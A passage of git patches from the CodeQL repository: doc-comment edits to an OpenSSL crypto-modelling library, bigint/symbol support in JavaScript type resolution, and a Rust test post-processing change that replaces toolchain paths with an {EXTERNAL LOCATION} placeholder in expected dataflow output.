"EVP_DigestUpdate" } override Expr getInputArg() { result = this.(Call).getArgument(1) } } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll index cbd24f19904..6ada6cb4665 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll @@ -3,7 +3,7 @@ private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers /** - * All OpenSSL operations. + * A class for all OpenSSL operations. */ abstract class OpenSSLOperation extends Crypto::OperationInstance instanceof Call { /** @@ -28,12 +28,12 @@ abstract class OpenSSLOperation extends Crypto::OperationInstance instanceof Cal */ abstract class EVPInitialize extends Call { /** - * The context argument that ties together initialization, updates and/or final calls. + * Gets the context argument that ties together initialization, updates and/or final calls. */ Expr getContextArg() { result = this.(Call).getArgument(0) } /** - * The type of key operation, none if not applicable. + * Gets the type of key operation, none if not applicable. */ Crypto::KeyOperationSubtype getKeyOperationSubtype() { none() } @@ -44,12 +44,12 @@ abstract class EVPInitialize extends Call { Expr getAlgorithmArg() { none() } /** - * The key for the operation, none if not applicable. + * Gets the key for the operation, none if not applicable. */ Expr getKeyArg() { none() } /** - * The IV/nonce, none if not applicable. + * Gets the IV/nonce, none if not applicable. */ Expr getIVArg() { none() } } @@ -61,7 +61,7 @@ abstract class EVPInitialize extends Call { */ abstract class EVPUpdate extends Call { /** - * The context argument that ties together initialization, updates and/or final calls. + * Gets the context argument that ties together initialization, updates and/or final calls. */ Expr getContextArg() { result = this.(Call).getArgument(0) } @@ -98,7 +98,7 @@ private module AlgGetterToAlgConsumerFlow = DataFlow::Global Date: Wed, 4 Jun 2025 10:17:25 +0200 Subject: [PATCH 153/271] Update javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll Co-authored-by: Napalys Klicius --- .../ql/lib/semmle/javascript/internal/TypeResolution.qll | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll index cb575f20ab1..a1d0ab43a6f 100644 --- a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll @@ -351,6 +351,10 @@ module TypeResolution { or node.(TypeExpr).isNever() or + node.(TypeExpr).isBigInt() + or + node.(TypeExpr).isSymbol() + or node instanceof LiteralTypeExpr or node = any(EnumMember m).getIdentifier() // enum members are constant From aa0fc05df8d7a03ded7c9b22cbd5bec7a31d2187 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 4 Jun 2025 11:30:35 +0200 Subject: [PATCH 154/271] Rust: Remove external locations in tests using post-processing --- .../test/ExternalLocationPostProcessing.ql | 9 + .../dataflow/local/DataFlowStep.expected | 210 ++-- .../dataflow/local/DataFlowStep.ql | 17 +- .../dataflow/local/DataFlowStep.qlref | 2 + .../path-resolution/path-resolution.expected | 24 +- .../path-resolution/path-resolution.ql | 17 +- .../path-resolution/path-resolution.qlref | 2 + .../type-inference/type-inference.expected | 1030 ++++++++--------- .../type-inference/type-inference.ql | 17 +- .../type-inference/type-inference.qlref | 2 + .../test/ExternalLocationPostProcessing.qll | 30 + .../util/test/InlineExpectationsTest.qll | 6 +- 12 files changed, 684 insertions(+), 682 deletions(-) create mode 100644 rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql create mode 100644 rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref create mode 100644 rust/ql/test/library-tests/path-resolution/path-resolution.qlref create mode 100644 rust/ql/test/library-tests/type-inference/type-inference.qlref create mode 100644 shared/util/codeql/util/test/ExternalLocationPostProcessing.qll diff --git a/rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql b/rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql new file mode 100644 index 00000000000..0c4f58b40b6 --- /dev/null +++ b/rust/ql/lib/utils/test/ExternalLocationPostProcessing.ql @@ -0,0 +1,9 @@ +/** + * @kind test-postprocess + */ + +private import rust +private import codeql.util.test.ExternalLocationPostProcessing +import Make + +private string getSourceLocationPrefix() { sourceLocationPrefix(result) } diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index b7300075dc3..4186b084133 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -866,98 +866,8 @@ localStep | main.rs:565:13:565:33 | result_questionmark(...) | main.rs:565:9:565:9 | _ | | main.rs:577:36:577:41 | ...::new(...) | main.rs:577:36:577:41 | MacroExpr | | main.rs:577:36:577:41 | [post] MacroExpr | main.rs:577:36:577:41 | [post] ...::new(...) | -storeStep -| main.rs:97:14:97:22 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:97:13:97:26 | TupleExpr | -| main.rs:97:25:97:25 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:97:13:97:26 | TupleExpr | -| main.rs:103:14:103:14 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:103:17:103:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:103:29:103:29 | 2 | file://:0:0:0:0 | tuple.2 | main.rs:103:13:103:30 | TupleExpr | -| main.rs:111:18:111:18 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:111:17:111:31 | TupleExpr | -| main.rs:111:21:111:30 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:111:17:111:31 | TupleExpr | -| main.rs:114:11:114:20 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:114:5:114:5 | [post] a | -| main.rs:115:11:115:11 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:115:5:115:5 | [post] a | -| main.rs:121:14:121:14 | 3 | file://:0:0:0:0 | tuple.0 | main.rs:121:13:121:27 | TupleExpr | -| main.rs:121:17:121:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:121:13:121:27 | TupleExpr | -| main.rs:122:14:122:14 | a | file://:0:0:0:0 | tuple.0 | main.rs:122:13:122:18 | TupleExpr | -| main.rs:122:17:122:17 | 3 | file://:0:0:0:0 | tuple.1 | main.rs:122:13:122:18 | TupleExpr | -| main.rs:137:24:137:32 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:137:13:137:40 | Point {...} | -| main.rs:137:38:137:38 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:137:13:137:40 | Point {...} | -| main.rs:143:28:143:36 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:143:17:143:44 | Point {...} | -| main.rs:143:42:143:42 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:143:17:143:44 | Point {...} | -| main.rs:145:11:145:20 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:145:5:145:5 | [post] p | -| main.rs:151:12:151:21 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:150:13:153:5 | Point {...} | -| main.rs:152:12:152:12 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:150:13:153:5 | Point {...} | -| main.rs:166:16:169:9 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:165:13:171:5 | Point3D {...} | -| main.rs:167:16:167:16 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:166:16:169:9 | Point {...} | -| main.rs:168:16:168:25 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:166:16:169:9 | Point {...} | -| main.rs:170:12:170:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:165:13:171:5 | Point3D {...} | -| main.rs:180:16:180:32 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:179:13:182:5 | Point3D {...} | -| main.rs:180:27:180:27 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:180:16:180:32 | Point {...} | -| main.rs:180:30:180:30 | y | main.rs:133:5:133:10 | Point.y | main.rs:180:16:180:32 | Point {...} | -| main.rs:181:12:181:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:179:13:182:5 | Point3D {...} | -| main.rs:198:27:198:36 | source(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:198:13:198:40 | MyTupleStruct(...) | -| main.rs:198:39:198:39 | 2 | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:198:13:198:40 | MyTupleStruct(...) | -| main.rs:214:27:214:36 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:214:14:214:37 | ...::Some(...) | -| main.rs:215:27:215:27 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:215:14:215:28 | ...::Some(...) | -| main.rs:227:19:227:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:227:14:227:29 | Some(...) | -| main.rs:228:19:228:19 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:228:14:228:20 | Some(...) | -| main.rs:240:19:240:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:240:14:240:29 | Some(...) | -| main.rs:245:19:245:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:245:14:245:29 | Some(...) | -| main.rs:248:19:248:19 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:248:14:248:20 | Some(...) | -| main.rs:253:19:253:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:253:14:253:29 | Some(...) | -| main.rs:261:19:261:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:261:14:261:29 | Some(...) | -| main.rs:262:19:262:19 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:262:14:262:20 | Some(...) | -| main.rs:266:10:266:10 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:266:5:266:11 | Some(...) | -| main.rs:270:36:270:45 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:270:33:270:46 | Ok(...) | -| main.rs:276:37:276:46 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:537:9:537:55 | Err | main.rs:276:33:276:47 | Err(...) | -| main.rs:284:35:284:44 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:284:32:284:45 | Ok(...) | -| main.rs:285:35:285:35 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:285:32:285:36 | Ok(...) | -| main.rs:286:36:286:45 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:537:9:537:55 | Err | main.rs:286:32:286:46 | Err(...) | -| main.rs:293:8:293:8 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:293:5:293:9 | Ok(...) | -| main.rs:297:35:297:44 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:297:32:297:45 | Ok(...) | -| main.rs:301:36:301:45 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:537:9:537:55 | Err | main.rs:301:32:301:46 | Err(...) | -| main.rs:312:29:312:38 | source(...) | main.rs:307:7:307:9 | A | main.rs:312:14:312:39 | ...::A(...) | -| main.rs:313:29:313:29 | 2 | main.rs:308:7:308:9 | B | main.rs:313:14:313:30 | ...::B(...) | -| main.rs:330:16:330:25 | source(...) | main.rs:307:7:307:9 | A | main.rs:330:14:330:26 | A(...) | -| main.rs:331:16:331:16 | 2 | main.rs:308:7:308:9 | B | main.rs:331:14:331:17 | B(...) | -| main.rs:352:18:352:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:351:14:353:5 | ...::C {...} | -| main.rs:354:41:354:41 | 2 | main.rs:347:9:347:20 | D | main.rs:354:14:354:43 | ...::D {...} | -| main.rs:372:18:372:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:371:14:373:5 | C {...} | -| main.rs:374:27:374:27 | 2 | main.rs:347:9:347:20 | D | main.rs:374:14:374:29 | D {...} | -| main.rs:392:17:392:17 | 1 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | -| main.rs:392:20:392:20 | 2 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | -| main.rs:392:23:392:32 | source(...) | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | -| main.rs:396:17:396:26 | source(...) | file://:0:0:0:0 | element | main.rs:396:16:396:31 | [...; 10] | -| main.rs:400:17:400:17 | 1 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | -| main.rs:400:20:400:20 | 2 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | -| main.rs:400:23:400:23 | 3 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | -| main.rs:406:17:406:17 | 1 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | -| main.rs:406:20:406:20 | 2 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | -| main.rs:406:23:406:32 | source(...) | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | -| main.rs:411:17:411:17 | 1 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | -| main.rs:411:20:411:20 | 2 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | -| main.rs:411:23:411:23 | 3 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | -| main.rs:418:17:418:17 | 1 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | -| main.rs:418:20:418:20 | 2 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | -| main.rs:418:23:418:32 | source(...) | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | -| main.rs:429:24:429:24 | 1 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | -| main.rs:429:27:429:27 | 2 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | -| main.rs:429:30:429:30 | 3 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | -| main.rs:432:18:432:27 | source(...) | file://:0:0:0:0 | element | main.rs:432:5:432:11 | [post] mut_arr | -| main.rs:444:41:444:67 | default_name | main.rs:441:9:441:20 | captured default_name | main.rs:444:41:444:67 | \|...\| ... | -| main.rs:479:15:479:24 | source(...) | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:27:479:27 | 2 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:30:479:30 | 3 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:33:479:33 | 4 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | -| main.rs:504:23:504:32 | source(...) | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:35:504:35 | 2 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:38:504:38 | 3 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:41:504:41 | 4 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | -| main.rs:519:18:519:18 | c | file://:0:0:0:0 | &ref | main.rs:519:17:519:18 | &c | -| main.rs:522:15:522:15 | b | file://:0:0:0:0 | &ref | main.rs:522:14:522:15 | &b | -| main.rs:545:27:545:27 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:545:22:545:28 | Some(...) | readStep -| main.rs:36:9:36:15 | Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:36:14:36:14 | _ | +| main.rs:36:9:36:15 | Some(...) | {EXTERNAL LOCATION} | Some | main.rs:36:14:36:14 | _ | | main.rs:90:11:90:11 | i | file://:0:0:0:0 | &ref | main.rs:90:10:90:11 | * ... | | main.rs:98:10:98:10 | a | file://:0:0:0:0 | tuple.0 | main.rs:98:10:98:12 | a.0 | | main.rs:99:10:99:10 | a | file://:0:0:0:0 | tuple.1 | main.rs:99:10:99:12 | a.1 | @@ -997,20 +907,20 @@ readStep | main.rs:200:10:200:10 | s | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:200:10:200:12 | s.1 | | main.rs:203:9:203:27 | MyTupleStruct(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:203:23:203:23 | x | | main.rs:203:9:203:27 | MyTupleStruct(...) | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:203:26:203:26 | y | -| main.rs:217:9:217:23 | ...::Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:217:22:217:22 | n | -| main.rs:221:9:221:23 | ...::Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:221:22:221:22 | n | -| main.rs:230:9:230:15 | Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:230:14:230:14 | n | -| main.rs:234:9:234:15 | Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:234:14:234:14 | n | -| main.rs:263:14:263:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:263:14:263:16 | TryExpr | -| main.rs:263:14:263:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:263:14:263:16 | TryExpr | -| main.rs:265:10:265:11 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:265:10:265:12 | TryExpr | -| main.rs:265:10:265:11 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:265:10:265:12 | TryExpr | -| main.rs:287:14:287:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:287:14:287:16 | TryExpr | -| main.rs:287:14:287:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:287:14:287:16 | TryExpr | -| main.rs:288:14:288:15 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:288:14:288:16 | TryExpr | -| main.rs:288:14:288:15 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:288:14:288:16 | TryExpr | -| main.rs:291:14:291:15 | s3 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:291:14:291:16 | TryExpr | -| main.rs:291:14:291:15 | s3 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:291:14:291:16 | TryExpr | +| main.rs:217:9:217:23 | ...::Some(...) | {EXTERNAL LOCATION} | Some | main.rs:217:22:217:22 | n | +| main.rs:221:9:221:23 | ...::Some(...) | {EXTERNAL LOCATION} | Some | main.rs:221:22:221:22 | n | +| main.rs:230:9:230:15 | Some(...) | {EXTERNAL LOCATION} | Some | main.rs:230:14:230:14 | n | +| main.rs:234:9:234:15 | Some(...) | {EXTERNAL LOCATION} | Some | main.rs:234:14:234:14 | n | +| main.rs:263:14:263:15 | s1 | {EXTERNAL LOCATION} | Some | main.rs:263:14:263:16 | TryExpr | +| main.rs:263:14:263:15 | s1 | {EXTERNAL LOCATION} | Ok | main.rs:263:14:263:16 | TryExpr | +| main.rs:265:10:265:11 | s2 | {EXTERNAL LOCATION} | Some | main.rs:265:10:265:12 | TryExpr | +| main.rs:265:10:265:11 | s2 | {EXTERNAL LOCATION} | Ok | main.rs:265:10:265:12 | TryExpr | +| main.rs:287:14:287:15 | s1 | {EXTERNAL LOCATION} | Some | main.rs:287:14:287:16 | TryExpr | +| main.rs:287:14:287:15 | s1 | {EXTERNAL LOCATION} | Ok | main.rs:287:14:287:16 | TryExpr | +| main.rs:288:14:288:15 | s2 | {EXTERNAL LOCATION} | Some | main.rs:288:14:288:16 | TryExpr | +| main.rs:288:14:288:15 | s2 | {EXTERNAL LOCATION} | Ok | main.rs:288:14:288:16 | TryExpr | +| main.rs:291:14:291:15 | s3 | {EXTERNAL LOCATION} | Some | main.rs:291:14:291:16 | TryExpr | +| main.rs:291:14:291:15 | s3 | {EXTERNAL LOCATION} | Ok | main.rs:291:14:291:16 | TryExpr | | main.rs:315:9:315:25 | ...::A(...) | main.rs:307:7:307:9 | A | main.rs:315:24:315:24 | n | | main.rs:316:9:316:25 | ...::B(...) | main.rs:308:7:308:9 | B | main.rs:316:24:316:24 | n | | main.rs:319:9:319:25 | ...::A(...) | main.rs:307:7:307:9 | A | main.rs:319:24:319:24 | n | @@ -1069,3 +979,93 @@ readStep | main.rs:510:9:510:14 | &mut ... | file://:0:0:0:0 | &ref | main.rs:510:14:510:14 | v | | main.rs:510:19:510:35 | vs_mut.iter_mut() | file://:0:0:0:0 | element | main.rs:510:9:510:14 | &mut ... | | main.rs:524:11:524:15 | c_ref | file://:0:0:0:0 | &ref | main.rs:524:10:524:15 | * ... | +storeStep +| main.rs:97:14:97:22 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:97:13:97:26 | TupleExpr | +| main.rs:97:25:97:25 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:97:13:97:26 | TupleExpr | +| main.rs:103:14:103:14 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:103:17:103:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:103:29:103:29 | 2 | file://:0:0:0:0 | tuple.2 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:111:18:111:18 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:111:17:111:31 | TupleExpr | +| main.rs:111:21:111:30 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:111:17:111:31 | TupleExpr | +| main.rs:114:11:114:20 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:114:5:114:5 | [post] a | +| main.rs:115:11:115:11 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:115:5:115:5 | [post] a | +| main.rs:121:14:121:14 | 3 | file://:0:0:0:0 | tuple.0 | main.rs:121:13:121:27 | TupleExpr | +| main.rs:121:17:121:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:121:13:121:27 | TupleExpr | +| main.rs:122:14:122:14 | a | file://:0:0:0:0 | tuple.0 | main.rs:122:13:122:18 | TupleExpr | +| main.rs:122:17:122:17 | 3 | file://:0:0:0:0 | tuple.1 | main.rs:122:13:122:18 | TupleExpr | +| main.rs:137:24:137:32 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:137:13:137:40 | Point {...} | +| main.rs:137:38:137:38 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:137:13:137:40 | Point {...} | +| main.rs:143:28:143:36 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:143:17:143:44 | Point {...} | +| main.rs:143:42:143:42 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:143:17:143:44 | Point {...} | +| main.rs:145:11:145:20 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:145:5:145:5 | [post] p | +| main.rs:151:12:151:21 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:150:13:153:5 | Point {...} | +| main.rs:152:12:152:12 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:150:13:153:5 | Point {...} | +| main.rs:166:16:169:9 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:165:13:171:5 | Point3D {...} | +| main.rs:167:16:167:16 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:166:16:169:9 | Point {...} | +| main.rs:168:16:168:25 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:166:16:169:9 | Point {...} | +| main.rs:170:12:170:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:165:13:171:5 | Point3D {...} | +| main.rs:180:16:180:32 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:179:13:182:5 | Point3D {...} | +| main.rs:180:27:180:27 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:180:16:180:32 | Point {...} | +| main.rs:180:30:180:30 | y | main.rs:133:5:133:10 | Point.y | main.rs:180:16:180:32 | Point {...} | +| main.rs:181:12:181:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:179:13:182:5 | Point3D {...} | +| main.rs:198:27:198:36 | source(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:198:13:198:40 | MyTupleStruct(...) | +| main.rs:198:39:198:39 | 2 | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:198:13:198:40 | MyTupleStruct(...) | +| main.rs:214:27:214:36 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:214:14:214:37 | ...::Some(...) | +| main.rs:215:27:215:27 | 2 | {EXTERNAL LOCATION} | Some | main.rs:215:14:215:28 | ...::Some(...) | +| main.rs:227:19:227:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:227:14:227:29 | Some(...) | +| main.rs:228:19:228:19 | 2 | {EXTERNAL LOCATION} | Some | main.rs:228:14:228:20 | Some(...) | +| main.rs:240:19:240:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:240:14:240:29 | Some(...) | +| main.rs:245:19:245:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:245:14:245:29 | Some(...) | +| main.rs:248:19:248:19 | 0 | {EXTERNAL LOCATION} | Some | main.rs:248:14:248:20 | Some(...) | +| main.rs:253:19:253:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:253:14:253:29 | Some(...) | +| main.rs:261:19:261:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:261:14:261:29 | Some(...) | +| main.rs:262:19:262:19 | 2 | {EXTERNAL LOCATION} | Some | main.rs:262:14:262:20 | Some(...) | +| main.rs:266:10:266:10 | 0 | {EXTERNAL LOCATION} | Some | main.rs:266:5:266:11 | Some(...) | +| main.rs:270:36:270:45 | source(...) | {EXTERNAL LOCATION} | Ok | main.rs:270:33:270:46 | Ok(...) | +| main.rs:276:37:276:46 | source(...) | {EXTERNAL LOCATION} | Err | main.rs:276:33:276:47 | Err(...) | +| main.rs:284:35:284:44 | source(...) | {EXTERNAL LOCATION} | Ok | main.rs:284:32:284:45 | Ok(...) | +| main.rs:285:35:285:35 | 2 | {EXTERNAL LOCATION} | Ok | main.rs:285:32:285:36 | Ok(...) | +| main.rs:286:36:286:45 | source(...) | {EXTERNAL LOCATION} | Err | main.rs:286:32:286:46 | Err(...) | +| main.rs:293:8:293:8 | 0 | {EXTERNAL LOCATION} | Ok | main.rs:293:5:293:9 | Ok(...) | +| main.rs:297:35:297:44 | source(...) | {EXTERNAL LOCATION} | Ok | main.rs:297:32:297:45 | Ok(...) | +| main.rs:301:36:301:45 | source(...) | {EXTERNAL LOCATION} | Err | main.rs:301:32:301:46 | Err(...) | +| main.rs:312:29:312:38 | source(...) | main.rs:307:7:307:9 | A | main.rs:312:14:312:39 | ...::A(...) | +| main.rs:313:29:313:29 | 2 | main.rs:308:7:308:9 | B | main.rs:313:14:313:30 | ...::B(...) | +| main.rs:330:16:330:25 | source(...) | main.rs:307:7:307:9 | A | main.rs:330:14:330:26 | A(...) | +| main.rs:331:16:331:16 | 2 | main.rs:308:7:308:9 | B | main.rs:331:14:331:17 | B(...) | +| main.rs:352:18:352:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:351:14:353:5 | ...::C {...} | +| main.rs:354:41:354:41 | 2 | main.rs:347:9:347:20 | D | main.rs:354:14:354:43 | ...::D {...} | +| main.rs:372:18:372:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:371:14:373:5 | C {...} | +| main.rs:374:27:374:27 | 2 | main.rs:347:9:347:20 | D | main.rs:374:14:374:29 | D {...} | +| main.rs:392:17:392:17 | 1 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:392:20:392:20 | 2 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:392:23:392:32 | source(...) | file://:0:0:0:0 | element | 